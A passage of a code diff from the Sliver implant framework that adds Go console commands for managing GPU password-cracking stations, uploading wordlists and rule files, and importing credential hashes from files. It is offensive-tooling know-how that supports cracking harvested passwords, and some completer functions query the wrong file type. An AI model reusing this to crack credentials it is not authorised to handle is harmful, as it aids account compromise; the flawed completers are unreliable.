+			util.ByteCountBinary(wordlists.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackRulesCmd - Manage GPU cracking stations
+func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(rules.Files) == 0 {
+		con.PrintInfof("No rules files, add some using `crack rules add`\n")
+	} else {
+		PrintCrackFiles(rules, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
+			util.ByteCountBinary(rules.CurrentDiskUsage),
+			util.ByteCountBinary(rules.MaxDiskUsage),
+		)
+	}
+}
+
+// CrackHcstat2Cmd - Manage GPU cracking stations
+func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(hcstat2.Files) == 0 {
+		con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
+	} else {
+		PrintCrackFiles(hcstat2, con)
+		con.Println()
+		con.Printf("Disk quota %02.2f%% - %s of %s\n",
+			(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
+			util.ByteCountBinary(hcstat2.CurrentDiskUsage),
+			util.ByteCountBinary(hcstat2.MaxDiskUsage),
+		)
+	}
+}
+
+func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{"Name", "Size"})
+	for _, file := range crackFiles.Files {
+		tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+	}
+	con.Printf("%s\n", tw.Render())
+}
+
+func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
+	wordlistTable := table.NewWriter()
+	wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
+	wordlistTable.SetStyle(settings.GetTableStyle(con))
+	wordlistTable.AppendHeader(table.Row{"Name", "Size"})
+
+	rulesTable := table.NewWriter()
+	rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
+	rulesTable.SetStyle(settings.GetTableStyle(con))
+	rulesTable.AppendHeader(table.Row{"Name", "Size"})
+
+	hcTable := table.NewWriter()
+	hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
+	hcTable.SetStyle(settings.GetTableStyle(con))
+	hcTable.AppendHeader(table.Row{"Name", "Size"})
+
+	wordlists := 0
+	rules := 0
+	hc := 0
+	for _, file := range crackFiles.Files {
+		switch file.Type {
+		case clientpb.CrackFileType_WORDLIST:
+			wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			wordlists++
+		case clientpb.CrackFileType_RULES:
+			rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			rules++
+		case clientpb.CrackFileType_MARKOV_HCSTAT2:
+			hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
+			hc++
+		}
+	}
+
+	if wordlists > 0 {
+		con.Printf("%s\n", wordlistTable.Render())
+	}
+	if rules > 0 {
+		if wordlists > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", rulesTable.Render())
+	}
+	if hc > 0 {
+		if wordlists > 0 || rules > 0 {
+			con.Println()
+		}
+		con.Printf("%s\n", hcTable.Render())
+	}
+	con.Println()
+	con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
+	con.Printf("Disk quota %02.2f%% - %s of %s\n",
+		(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
+		util.ByteCountBinary(crackFiles.CurrentDiskUsage),
+		util.ByteCountBinary(crackFiles.MaxDiskUsage),
+	)
+}
+
+// CrackWordlistsAddCmd - Manage GPU cracking stations
+func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	wordlistStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || wordlistStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = wordlistStat.Name()
+	}
+	wordlist, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer wordlist.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_WORDLIST,
+		Name:             name,
+		UncompressedSize: wordlistStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(wordlist, crackFile, con)
+}
+
+// CrackRulesAddCmd - add a rules file
+func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	rulesStat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || rulesStat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = rulesStat.Name()
+	}
+	rules, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer rules.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_RULES,
+		Name:             name,
+		UncompressedSize: rulesStat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new rules file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(rules, crackFile, con)
+}
+
+// CrackHcstat2AddCmd - add a hcstat2 file
+func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	name, _ := cmd.Flags().GetString("name")
+
+	var localPath string
+	if len(args) > 0 {
+		localPath = args[0]
+	}
+	if localPath == "" {
+		con.PrintErrorf("No path specified, see --help\n")
+		return
+	}
+	hcstat2Stat, err := os.Stat(localPath)
+	if os.IsNotExist(err) || hcstat2Stat.IsDir() {
+		con.PrintErrorf("File does not exist: %s\n", localPath)
+		return
+	}
+	if name == "" {
+		name = hcstat2Stat.Name()
+	}
+	hcstat2, err := os.Open(localPath)
+	if err != nil {
+		con.PrintErrorf("Failed to open file: %s\n", err)
+		return
+	}
+	defer hcstat2.Close()
+
+	crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
+		Type:             clientpb.CrackFileType_MARKOV_HCSTAT2,
+		Name:             name,
+		UncompressedSize: hcstat2Stat.Size(),
+		IsCompressed:     true,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create file: %s\n", err)
+		return
+	}
+	con.PrintInfof("Adding new markov hcstat2 file '%s' (uncompressed: %s)\n",
+		crackFile.Name,
+		util.ByteCountBinary(crackFile.UncompressedSize),
+	)
+	addCrackFile(hcstat2, crackFile, con)
+}
+
+func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
+	digest := sha256.New()
+	wordlistReader := io.TeeReader(localFile, digest)
+
+	chunks := make(chan []byte, 1) // Chunks are in-memory!
+
+	var chunkReaderErr error
+	go func() {
+		chunkReaderErr = chunkReader(wordlistReader, crackFile.ChunkSize, chunks)
+	}()
+	n := uint32(0)
+	total := int64(0)
+	errors := []error{}
+	for chunk := range chunks {
+		total += int64(len(chunk))
+		con.PrintInfof("Uploading %s (chunk %d - %s) ...",
+			util.ByteCountBinary(total),
+			n,
+			util.ByteCountBinary(int64(len(chunk))),
+		)
+		_, err := con.Rpc.CrackFileChunkUpload(context.Background(), &clientpb.CrackFileChunk{
+			CrackFileID: crackFile.ID,
+			N:           n,
+			Data:        chunk,
+		})
+		n++
+		if err != nil {
+			errors = append(errors, err)
+			continue
+		}
+	}
+	con.Printf(console.Clearln + "\r")
+	if chunkReaderErr != nil {
+		con.PrintErrorf("Failed to read file: %s\n", chunkReaderErr)
+		return
+	}
+	if len(errors) > 0 {
+		for _, err := range errors {
+			con.PrintErrorf("Failed to upload chunk: %s\n", err)
+		}
+		return
+	}
+	_, err := con.Rpc.CrackFileComplete(context.Background(), &clientpb.CrackFile{
+		ID:       crackFile.ID,
+		Sha2_256: hex.EncodeToString(digest.Sum(nil)),
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to complete file upload: %s\n", err)
+		return
+	}
+	con.PrintInfof("Upload completed (compressed: %s)\n", util.ByteCountBinary(total))
+}
+
+func chunkReader(wordlistReader io.Reader, chunkSize int64, chunks chan []byte) error {
+	defer close(chunks)
+	start := int64(0)
+	tmpFile, err := os.CreateTemp("", "sliver-wordlist")
+	if err != nil {
+		return err
+	}
+	defer tmpFile.Close()
+	compressor, _ := zstd.NewWriter(tmpFile, zstd.WithEncoderLevel(zstd.SpeedBetterCompression))
+	for {
+		readBuf := make([]byte, 32*1024*1024) // 32MB
+		readN, readErr := wordlistReader.Read(readBuf)
+		if readErr != nil && readErr != io.EOF {
+			return err
+		}
+		if readN != 0 {
+			_, err := compressor.Write(readBuf[:readN])
+			if err != nil {
+				return err
+			}
+			compressor.Flush()
+			tmpFileStat, err := os.Stat(tmpFile.Name())
+			if err != nil {
+				return err
+			}
+			if tmpFileStat.Size()-start >= chunkSize {
+				stop := start + chunkSize
+				chunk, err := readChunkAt(tmpFile, start, chunkSize)
+				if err != nil {
+					return err
+				}
+				chunks <- chunk
+				start = stop
+			}
+		}
+		if readErr == io.EOF {
+			chunk, err := readChunkAt(tmpFile, start, chunkSize)
+			if err != nil {
+				return err
+			}
+			chunks <- chunk
+			return nil
+		}
+	}
+}
+
+func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error) {
+	chunkBuf := make([]byte, chunkSize)
+	n, err := tmpFile.ReadAt(chunkBuf, offset)
+	if err != nil && err != io.EOF {
+		return nil, err
+	}
+	return chunkBuf[:n], nil
+}
+
+// CrackWordlistsRmCmd - Manage GPU cracking stations
+func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var wordlistName string
+	if len(args) > 0 {
+		wordlistName = args[0]
+	}
+	if wordlistName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, wordlist := range wordlists.Files {
+		if wordlist.Name == wordlistName && wordlist.Type == clientpb.CrackFileType_WORDLIST {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), wordlist)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed wordlist: %s\n", wordlistName)
+	} else {
+		con.PrintErrorf("Wordlist not found: %s\n", wordlistName)
+	}
+}
+
+// CrackRulesRmCmd - Manage GPU cracking stations
+func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var rulesName string
+	if len(args) > 0 {
+		rulesName = args[0]
+	}
+	if rulesName == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, rulesFile := range rules.Files {
+		if rulesFile.Name == rulesName && rulesFile.Type == clientpb.CrackFileType_RULES {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), rulesFile)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed rules: %s\n", rulesName)
+	} else {
+		con.PrintErrorf("Rules not found: %s\n", rulesName)
+	}
+}
+
+// CrackHcstat2RmCmd - remove a hcstat2 file
+func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	var hcstat2Name string
+	if len(args) > 0 {
+		hcstat2Name = args[0]
+	}
+	if hcstat2Name == "" {
+		con.PrintErrorf("No name specified, see --help\n")
+		return
+	}
+	hcstat2s, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	found := false
+	for _, hcstat2File := range hcstat2s.Files {
+		if hcstat2File.Name == hcstat2Name && hcstat2File.Type == clientpb.CrackFileType_MARKOV_HCSTAT2 {
+			found = true
+			_, err := con.Rpc.CrackFileDelete(context.Background(), hcstat2File)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+			break
+		}
+	}
+	if found {
+		con.PrintInfof("Removed hcstat2: %s\n", hcstat2Name)
+	} else {
+		con.PrintErrorf("Hcstat2 not found: %s\n", hcstat2Name)
+	}
+}
@@ -0,0 +1,148 @@
+package crack
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"sort"
+
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
+
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+)
+
+// CrackCmd - GPU password cracking interface
+func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	if !AreCrackersOnline(con) {
+		PrintNoCrackstations(con)
+	} else {
+		crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("%d crackstation(s) connected to server\n", len(crackers.Crackstations))
+	}
+	crackFiles, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackFiles.Files) == 0 {
+		con.PrintInfof("No crack files uploaded to server\n")
+	} else {
+		con.Println()
+		PrintCrackFilesByType(crackFiles, con)
+	}
+}
+
+// CrackStationsCmd - Manage GPU cracking stations
+func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if len(crackers.Crackstations) == 0 {
+		PrintNoCrackstations(con)
+	} else {
+		PrintCrackers(crackers.Crackstations, con)
+	}
+}
+
+func PrintNoCrackstations(con *console.SliverConsoleClient) {
+	con.PrintInfof("No crackstations connected to server\n")
+}
+
+func AreCrackersOnline(con *console.SliverConsoleClient) bool {
+	crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return false
+	}
+	return len(crackers.Crackstations) > 0
+}
+
+func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
+	sort.Slice(crackers, func(i, j int) bool {
+		return crackers[i].Name < crackers[j].Name
+	})
+	for index, cracker := range crackers {
+		printCracker(cracker, index, con)
+		if index < len(crackers)-1 {
+			con.Println()
+			con.Println()
+		}
+	}
+}
+
+func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
+	tw.AppendSeparator()
+	tw.AppendRow(table.Row{console.Bold + "Operating System" + console.Normal, fmt.Sprintf("%s/%s", cracker.GOOS, cracker.GOARCH)})
+	tw.AppendRow(table.Row{console.Bold + "Hashcat Version" + console.Normal, cracker.HashcatVersion})
+	if 0 < len(cracker.CUDA) {
+		for _, cuda := range cracker.CUDA {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "CUDA Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, cuda.Name, cuda.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", cuda.MemoryFree, cuda.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", cuda.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", cuda.Processors)})
+		}
+	}
+	if 0 < len(cracker.Metal) {
+		for _, metal := range cracker.Metal {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "Metal Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+"%s (%s)"+console.Normal, metal.Name, metal.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", metal.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", metal.Processors)})
+		}
+	}
+	if 0 < len(cracker.OpenCL) {
+		for _, openCL := range cracker.OpenCL {
+			tw.AppendSeparator()
+			tw.AppendRow(table.Row{console.Bold + "OpenCL Device" + console.Normal, fmt.Sprintf(console.Bold+console.Green+console.Bold+"%s (%s)"+console.Normal, openCL.Name, openCL.Version)})
+			tw.AppendRow(table.Row{console.Bold + "Memory" + console.Normal, fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
+			tw.AppendRow(table.Row{console.Bold + "Clock" + console.Normal, fmt.Sprintf("%d", openCL.Clock)})
+			tw.AppendRow(table.Row{console.Bold + "Processors" + console.Normal, fmt.Sprintf("%d", openCL.Processors)})
+		}
+	}
+	con.Printf("%s\n", tw.Render())
+	con.Println()
+	printBenchmarks(cracker, con)
+}
+
+func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
+	tw.SortBy([]table.SortBy{{Name: "Hash Type"}})
+	tw.AppendHeader(table.Row{"Hash Type", "Rate (H/s)"})
+	for hashType, speed := range cracker.Benchmarks {
+		tw.AppendRow(table.Row{clientpb.HashType(hashType), fmt.Sprintf("%d", speed)})
+	}
+	con.Printf("%s\n", tw.Render())
+}
@@ -0,0 +1,110 @@
+package crack
+
+import (
+	"context"
+	"fmt"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/rsteube/carapace"
+)
+
+func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_MARKOV_HCSTAT2 {
+				continue
+			}
+
+			results = append(results, file.Name)
+			desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("hcstat2 files")
+	})
+}
+
+func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_WORDLIST {
+				continue
+			}
+
+			results = append(results, file.Name)
+			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
+			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
+	})
+}
+
+func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
+	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
+		hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
+		if err != nil {
+			return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
+		}
+
+		results := make([]string, 0)
+
+		for _, file := range hcstat2.Files {
+			if file.Type != clientpb.CrackFileType_RULES {
+				continue
+			}
+
+			results = append(results, file.Name)
+			createdAt, modifiedAt := time.Unix(file.CreatedAt, 0).Format("03:04:05"), time.Unix(file.LastModified, 0).Format("03:04:05")
+			desc := fmt.Sprintf("%s (Created: %s, modified: %s)", byteCountSI(file.UncompressedSize), createdAt, modifiedAt)
+			results = append(results, desc)
+		}
+
+		return carapace.ActionValuesDescribed(results...).Tag("wordlists")
+	})
+}
+
+func byteCountSI(b int64) string {
+	const unit = 1000
+	if b < unit {
+		return fmt.Sprintf("%d B", b)
+	}
+	div, exp := int64(unit), 0
+	for n := b / unit; n >= unit; n /= unit {
+		div *= unit
+		exp++
+	}
+	return fmt.Sprintf("%.1f %cB",
+		float64(b)/float64(div), "kMGTPE"[exp])
+}
+
+func byteCountIEC(b int64) string {
+	const unit = 1024
+	if b < unit {
+		return fmt.Sprintf("%d B", b)
+	}
+	div, exp := int64(unit), 0
+	for n := b / unit; n >= unit; n /= unit {
+		div *= unit
+		exp++
+	}
+	return fmt.Sprintf("%.1f %ciB",
+		float64(b)/float64(div), "KMGTPE"[exp])
+}
@@ -0,0 +1,213 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"os"
+	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/spf13/cobra"
+)
+
+const (
+	UserColonHashNewlineFormat = "user:hash" // username:hash\n
+	HashNewlineFormat          = "hash"      // hash\n
+	CSVFormat                  = "csv"       // username,hash\n
+)
+
+// CredsCmd - Add new credentials
+func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	collection, _ := cmd.Flags().GetString("collection")
+	username, _ := cmd.Flags().GetString("username")
+	plaintext, _ := cmd.Flags().GetString("plaintext")
+	hash, _ := cmd.Flags().GetString("hash")
+	hashTypeF, _ := cmd.Flags().GetString("hash-type")
+	hashType := parseHashTypeString(hashTypeF)
+	if plaintext == "" && hash == "" {
+		con.PrintErrorf("Either a plaintext or a hash must be provided\n")
+		return
+	}
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
+		return
+	}
+	_, err := con.Rpc.CredsAdd(context.Background(), &clientpb.Credentials{
+		Credentials: []*clientpb.Credential{
+			{
+				Collection: collection,
+				Username:   username,
+				Plaintext:  plaintext,
+				Hash:       hash,
+				HashType:   hashType,
+			},
+		},
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+// CredsCmd - Add new credentials
+func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+	collection, _ := cmd.Flags().GetString("collection")
+	filePath := args[0]
+	fileFormat, _ := cmd.Flags().GetString("file-format")
+	if _, err := os.Stat(filePath); os.IsNotExist(err) {
+		con.PrintErrorf("File '%s' does not exist\n", filePath)
+		return
+	}
+	hashTypeF, _ := cmd.Flags().GetString("hash-type")
+	hashType := parseHashTypeString(hashTypeF)
+	if hashType == clientpb.HashType_INVALID {
+		con.PrintErrorf("Invalid hash type '%s'\n", hashTypeF)
+		return
+	}
+
+	con.PrintInfof("Parsing file '%s' as '%s' format ...\n", filePath, fileFormat)
+	var creds *clientpb.Credentials
+	var err error
+	switch fileFormat {
+	case UserColonHashNewlineFormat:
+		creds, err = parseUserColonHashNewline(filePath, hashType)
+	case HashNewlineFormat:
+		creds, err = parseHashNewline(filePath, hashType)
+	case CSVFormat:
+		creds, err = parseCSV(filePath, hashType)
+	default:
+		con.PrintErrorf("Invalid file format '%s', see 'creds add file --help'\n", fileFormat)
+		return
+	}
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	for _, cred := range creds.Credentials {
+		cred.Collection = collection
+	}
+	con.PrintInfof("Adding %d credential(s) ...\n", len(creds.Credentials))
+	_, err = con.Rpc.CredsAdd(context.Background(), creds)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	PrintCreds(creds.Credentials, con)
+}
+
+func parseHashType(raw string) clientpb.HashType {
+	hashInt, err := strconv.Atoi(raw)
+	if err == nil {
+		return clientpb.HashType(hashInt)
+	}
+	return clientpb.HashType_INVALID
+}
+
+// same as parseHashType, but use the string representation.
+func parseHashTypeString(raw string) clientpb.HashType {
+	if hashType, valid := clientpb.HashType_value[raw]; valid {
+		return clientpb.HashType(hashType)
+	}
+
+	return clientpb.HashType_INVALID
+}
+
+func parseUserColonHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ":")
+		if len(parts) != 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseHashNewline(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	for scanner.Scan() {
+		line := scanner.Text()
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Hash:     line,
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
+
+func parseCSV(filePath string, hashType clientpb.HashType) (*clientpb.Credentials, error) {
+	file, err := os.Open(filePath)
+	if err != nil {
+		return nil, err
+	}
+	defer file.Close()
+
+	scanner := bufio.NewScanner(file)
+	creds := &clientpb.Credentials{}
+	scanner.Scan() // skip header
+	for scanner.Scan() {
+		line := scanner.Text()
+		parts := strings.Split(line, ",")
+		if len(parts) < 2 {
+			continue
+		}
+		creds.Credentials = append(creds.Credentials, &clientpb.Credential{
+			Username: parts[0],
+			Hash:     parts[1],
+			HashType: hashType,
+		})
+	}
+	return creds, nil
+}
@@ -0,0 +1,182 @@
+package creds
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
